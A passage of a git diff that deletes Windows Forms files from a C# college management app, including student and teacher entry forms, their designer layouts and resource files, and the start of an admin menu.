(STUDENTDL.containsbankid(bankId)) - { - while (true) - { - MessageBox.Show("Please Enter Correct bankid"); - bankId = BankIdBox.Text; - if (STUDENTDL.containsbankid(bankId) == false) - { - MessageBox.Show("Thanks For unique bankid"); - break; - } - } - } - if (STUDENTDL.containsrollNumber(rollNumber)) - { - while (true) - { - MessageBox.Show("Please Enter Correct roll number"); - bankId = BankIdBox.Text; - if (STUDENTDL.containsrollNumber(rollNumber) == false) - { - MessageBox.Show("Thanks For unique roll number"); - break; - } - } - } - - STUDENTBL Student = new STUDENTBL(Name, fatherName, marks, course, rollNumber, cnic, section, Password, bankId); - STUDENTDL.addStudentIntoList(Student); - STUDENTDL.storeUserIntoFile(Student, path); - MessageBox.Show("Data Save Successfully "); - this.Close(); - AddStudentForm student = new AddStudentForm(); - student.Show(); - } - - private void button1_Click(object sender, EventArgs e) - { - AdminMenu Menu = new AdminMenu(); - Menu.Show(); - } - - private void button2_Click(object sender, EventArgs e) - { - Form1 home = new Form1(); - this.Close(); - home.Show(); - } - - private void AddStudentForm_Load(object sender, EventArgs e) - { - - } - } -} diff --git a/Add Code Here/C#/CMS/AddStudentForm.resx b/Add Code Here/C#/CMS/AddStudentForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/AddStudentForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AddTeacherForm.Designer.cs b/Add Code Here/C#/CMS/AddTeacherForm.Designer.cs deleted file mode 100644 index 9e476b0ec68..00000000000 --- a/Add Code Here/C#/CMS/AddTeacherForm.Designer.cs +++ /dev/null @@ -1,443 +0,0 @@ - -namespace CMS -{ - partial class AddTeacherForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.SaveButton = new System.Windows.Forms.Button(); - this.BackButton = new System.Windows.Forms.Button(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.NameBox = new System.Windows.Forms.TextBox(); - this.PostBox = new System.Windows.Forms.TextBox(); - this.PasswordBox = new System.Windows.Forms.TextBox(); - this.CnicBox = new System.Windows.Forms.TextBox(); - this.IdBox = new System.Windows.Forms.TextBox(); - this.SalaryBox = new System.Windows.Forms.TextBox(); - this.NumberBox = new System.Windows.Forms.TextBox(); - this.SubjectBox = new System.Windows.Forms.TextBox(); - this.label2 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.label7 = new System.Windows.Forms.Label(); - this.label8 = new System.Windows.Forms.Label(); - this.label9 = new System.Windows.Forms.Label(); - this.HomeButton = new System.Windows.Forms.Button(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.BackColor = System.Drawing.Color.PowderBlue; - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 6.473595F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 93.52641F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 1, 1); - this.tableLayoutPanel1.Controls.Add(this.HomeButton, 1, 2); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 3; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 15.33333F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 84.66666F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 42F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1174, 450); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Top; - this.tableLayoutPanel2.Location = new System.Drawing.Point(79, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(1092, 56); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 16F, ((System.Drawing.FontStyle)((System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Italic))), System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(479, 15); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(134, 26); - this.label1.TabIndex = 2; - this.label1.Text = "Add Teacher"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.Aqua; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.BackButton, 0, 1); - this.tableLayoutPanel3.Controls.Add(this.SaveButton, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel3.ForeColor = System.Drawing.Color.Wheat; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 65); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 2; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(70, 339); - this.tableLayoutPanel3.TabIndex = 2; - // - // SaveButton - // - this.SaveButton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.SaveButton.BackColor = System.Drawing.Color.Black; - this.SaveButton.Font = new System.Drawing.Font("Book Antiqua", 10F, ((System.Drawing.FontStyle)((System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Italic))), System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.SaveButton.ForeColor = System.Drawing.Color.Green; - this.SaveButton.Location = new System.Drawing.Point(3, 51); - this.SaveButton.Name = "SaveButton"; - this.SaveButton.Size = new System.Drawing.Size(64, 67); - this.SaveButton.TabIndex = 0; - this.SaveButton.Text = "Save"; - this.SaveButton.UseVisualStyleBackColor = false; - this.SaveButton.Click += new System.EventHandler(this.SaveButton_Click); - // - // BackButton - // - this.BackButton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.BackButton.BackColor = System.Drawing.Color.Black; - this.BackButton.Font = new System.Drawing.Font("Book Antiqua", 10F, ((System.Drawing.FontStyle)((System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Italic))), System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.BackButton.ForeColor = System.Drawing.Color.Red; - this.BackButton.Location = new System.Drawing.Point(3, 199); - this.BackButton.Name = "BackButton"; - this.BackButton.Size = new System.Drawing.Size(64, 110); - this.BackButton.TabIndex = 1; - this.BackButton.Text = "Back To Menu"; - this.BackButton.UseVisualStyleBackColor = false; - this.BackButton.Click += new System.EventHandler(this.BackButton_Click); - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel4.ColumnCount = 2; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 22.05323F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 77.94677F)); - this.tableLayoutPanel4.Controls.Add(this.label9, 0, 7); - this.tableLayoutPanel4.Controls.Add(this.label8, 0, 6); - this.tableLayoutPanel4.Controls.Add(this.label7, 0, 5); - this.tableLayoutPanel4.Controls.Add(this.label6, 0, 4); - this.tableLayoutPanel4.Controls.Add(this.label5, 0, 3); - this.tableLayoutPanel4.Controls.Add(this.label4, 0, 2); - this.tableLayoutPanel4.Controls.Add(this.label3, 0, 1); - this.tableLayoutPanel4.Controls.Add(this.NameBox, 1, 0); - this.tableLayoutPanel4.Controls.Add(this.PostBox, 1, 1); - this.tableLayoutPanel4.Controls.Add(this.PasswordBox, 1, 2); - this.tableLayoutPanel4.Controls.Add(this.CnicBox, 1, 3); - this.tableLayoutPanel4.Controls.Add(this.IdBox, 1, 4); - this.tableLayoutPanel4.Controls.Add(this.SalaryBox, 1, 5); - this.tableLayoutPanel4.Controls.Add(this.NumberBox, 1, 6); - this.tableLayoutPanel4.Controls.Add(this.SubjectBox, 1, 7); - this.tableLayoutPanel4.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel4.Location = new System.Drawing.Point(362, 73); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 8; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50.61728F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 49.38272F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 41F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 40F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 38F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 39F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 43F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 40F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(526, 323); - this.tableLayoutPanel4.TabIndex = 3; - // - // NameBox - // - this.NameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.NameBox.Font = new System.Drawing.Font("Book Antiqua", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.NameBox.Location = new System.Drawing.Point(188, 9); - this.NameBox.Name = "NameBox"; - this.NameBox.Size = new System.Drawing.Size(266, 22); - this.NameBox.TabIndex = 0; - this.NameBox.TextChanged += new System.EventHandler(this.NameBox_TextChanged); - // - // PostBox - // - this.PostBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.PostBox.Font = new System.Drawing.Font("Book Antiqua", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PostBox.Location = new System.Drawing.Point(188, 50); - this.PostBox.Name = "PostBox"; - this.PostBox.Size = new System.Drawing.Size(266, 22); - this.PostBox.TabIndex = 1; - // - // PasswordBox - // - this.PasswordBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.PasswordBox.Font = new System.Drawing.Font("Book Antiqua", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PasswordBox.Location = new System.Drawing.Point(188, 90); - this.PasswordBox.Name = "PasswordBox"; - this.PasswordBox.Size = new System.Drawing.Size(266, 22); - this.PasswordBox.TabIndex = 2; - // - // CnicBox - // - this.CnicBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.CnicBox.Font = new System.Drawing.Font("Book Antiqua", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CnicBox.Location = new System.Drawing.Point(188, 131); - this.CnicBox.Name = "CnicBox"; - this.CnicBox.Size = new System.Drawing.Size(266, 22); - this.CnicBox.TabIndex = 3; - // - // IdBox - // - this.IdBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.IdBox.Font = new System.Drawing.Font("Book Antiqua", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.IdBox.Location = new System.Drawing.Point(188, 170); - this.IdBox.Name = "IdBox"; - this.IdBox.Size = new System.Drawing.Size(266, 22); - this.IdBox.TabIndex = 4; - // - // SalaryBox - // - this.SalaryBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.SalaryBox.Font = new System.Drawing.Font("Book Antiqua", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.SalaryBox.Location = new System.Drawing.Point(188, 208); - this.SalaryBox.Name = "SalaryBox"; - this.SalaryBox.Size = new System.Drawing.Size(266, 22); - this.SalaryBox.TabIndex = 5; - // - // NumberBox - // - this.NumberBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.NumberBox.Font = new System.Drawing.Font("Book Antiqua", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.NumberBox.Location = new System.Drawing.Point(188, 249); - this.NumberBox.Name = "NumberBox"; - this.NumberBox.Size = new System.Drawing.Size(266, 22); - this.NumberBox.TabIndex = 6; - // - // SubjectBox - // - this.SubjectBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.SubjectBox.Font = new System.Drawing.Font("Book Antiqua", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.SubjectBox.Location = new System.Drawing.Point(188, 291); - this.SubjectBox.Name = "SubjectBox"; - this.SubjectBox.Size = new System.Drawing.Size(266, 22); - this.SubjectBox.TabIndex = 7; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(34, 11); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(47, 19); - this.label2.TabIndex = 8; - this.label2.Text = "Name"; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Black; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.White; - this.label3.Location = new System.Drawing.Point(12, 51); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(91, 19); - this.label3.TabIndex = 9; - this.label3.Text = "Teacher Post"; - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.BackColor = System.Drawing.Color.Black; - this.label4.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.ForeColor = System.Drawing.Color.White; - this.label4.Location = new System.Drawing.Point(22, 92); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(71, 19); - this.label4.TabIndex = 10; - this.label4.Text = "Password"; - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.BackColor = System.Drawing.Color.Black; - this.label5.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.ForeColor = System.Drawing.Color.White; - this.label5.Location = new System.Drawing.Point(35, 132); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(46, 19); - this.label5.TabIndex = 11; - this.label5.Text = "CNIC"; - // - // label6 - // - this.label6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label6.AutoSize = true; - this.label6.BackColor = System.Drawing.Color.Black; - this.label6.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.ForeColor = System.Drawing.Color.White; - this.label6.Location = new System.Drawing.Point(45, 171); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(26, 19); - this.label6.TabIndex = 12; - this.label6.Text = "ID"; - // - // label7 - // - this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label7.AutoSize = true; - this.label7.BackColor = System.Drawing.Color.Black; - this.label7.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.ForeColor = System.Drawing.Color.White; - this.label7.Location = new System.Drawing.Point(33, 210); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(50, 19); - this.label7.TabIndex = 13; - this.label7.Text = "Salary"; - // - // label8 - // - this.label8.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label8.AutoSize = true; - this.label8.BackColor = System.Drawing.Color.Black; - this.label8.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label8.ForeColor = System.Drawing.Color.White; - this.label8.Location = new System.Drawing.Point(4, 251); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(108, 19); - this.label8.TabIndex = 14; - this.label8.Text = "Phone Number"; - // - // label9 - // - this.label9.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label9.AutoSize = true; - this.label9.BackColor = System.Drawing.Color.Black; - this.label9.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label9.ForeColor = System.Drawing.Color.White; - this.label9.Location = new System.Drawing.Point(29, 293); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(58, 19); - this.label9.TabIndex = 15; - this.label9.Text = "Subject"; - // - // HomeButton - // - this.HomeButton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.HomeButton.BackColor = System.Drawing.Color.Red; - this.HomeButton.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HomeButton.Location = new System.Drawing.Point(542, 410); - this.HomeButton.Name = "HomeButton"; - this.HomeButton.Size = new System.Drawing.Size(165, 37); - this.HomeButton.TabIndex = 4; - this.HomeButton.Text = "Back To Home Page"; - this.HomeButton.UseVisualStyleBackColor = false; - this.HomeButton.Click += new System.EventHandler(this.HomeButton_Click); - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources._126337; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(70, 56); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // AddTeacherForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1174, 450); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "AddTeacherForm"; - this.Text = "AddTeacherForm"; - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Button BackButton; - private System.Windows.Forms.Button SaveButton; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.TextBox NameBox; - private System.Windows.Forms.TextBox PostBox; - private System.Windows.Forms.TextBox PasswordBox; - private System.Windows.Forms.TextBox CnicBox; - private System.Windows.Forms.TextBox IdBox; - private System.Windows.Forms.TextBox SalaryBox; - private System.Windows.Forms.TextBox NumberBox; - private System.Windows.Forms.TextBox SubjectBox; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Button HomeButton; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AddTeacherForm.cs b/Add Code Here/C#/CMS/AddTeacherForm.cs deleted file mode 100644 index 6aa6f7a643c..00000000000 --- a/Add Code Here/C#/CMS/AddTeacherForm.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class AddTeacherForm : Form - { - public string path = "Teacher.txt"; - public AddTeacherForm() - { - InitializeComponent(); - } - - private void SaveButton_Click(object sender, EventArgs e) - { - string name = NameBox.Text; - string passWord = PasswordBox.Text; - string phoneNumber = NumberBox.Text; - string cnic = CnicBox.Text; - string id = IdBox.Text; - float salary = 0; - try - { - salary = float.Parse(SalaryBox.Text); - } - catch(Exception) - { - MessageBox.Show("Please Enter Correct Value in Salary Box"); - } - string subject = SubjectBox.Text; - string post = PostBox.Text; - TEACHERBL Teacher = new TEACHERBL(name, post, subject, cnic, phoneNumber, salary, id, passWord); - TEACHERDL.addTeacherIntoList(Teacher); - TEACHERDL.addTeacherIntoFile(path); - MessageBox.Show("Data Saved"); - this.Close(); - AddTeacherForm Temp = new AddTeacherForm(); - Temp.Show(); - } - - private void BackButton_Click(object sender, EventArgs e) - { - this.Close(); - AdminMenu Menu = new AdminMenu(); - Menu.Show(); - } - - private void HomeButton_Click(object sender, EventArgs e) - { - AdminMenu Menu = new AdminMenu(); - this.Close(); - Menu.Show(); - } - - private void NameBox_TextChanged(object sender, EventArgs e) - { - - } - } -} diff --git a/Add Code Here/C#/CMS/AddTeacherForm.resx b/Add Code Here/C#/CMS/AddTeacherForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/AddTeacherForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AdminMenu.Designer.cs b/Add Code Here/C#/CMS/AdminMenu.Designer.cs deleted file mode 100644 index 1d1b5771c75..00000000000 --- a/Add Code Here/C#/CMS/AdminMenu.Designer.cs +++ /dev/null @@ -1,372 +0,0 @@ - -namespace CMS -{ - partial class AdminMenu - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.removeTeacher = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.label7 = new System.Windows.Forms.Label(); - this.label8 = new System.Windows.Forms.Label(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel6 = new System.Windows.Forms.TableLayoutPanel(); - this.label5 = new System.Windows.Forms.Label(); - this.label9 = new System.Windows.Forms.Label(); - this.label10 = new System.Windows.Forms.Label(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.tableLayoutPanel6.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 12.78409F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 87.21591F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel5, 1, 0); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Margin = new System.Windows.Forms.Padding(2); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 1; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1163, 471); - this.tableLayoutPanel1.TabIndex = 0; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.Location = new System.Drawing.Point(2, 2); - this.tableLayoutPanel2.Margin = new System.Windows.Forms.Padding(2); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - 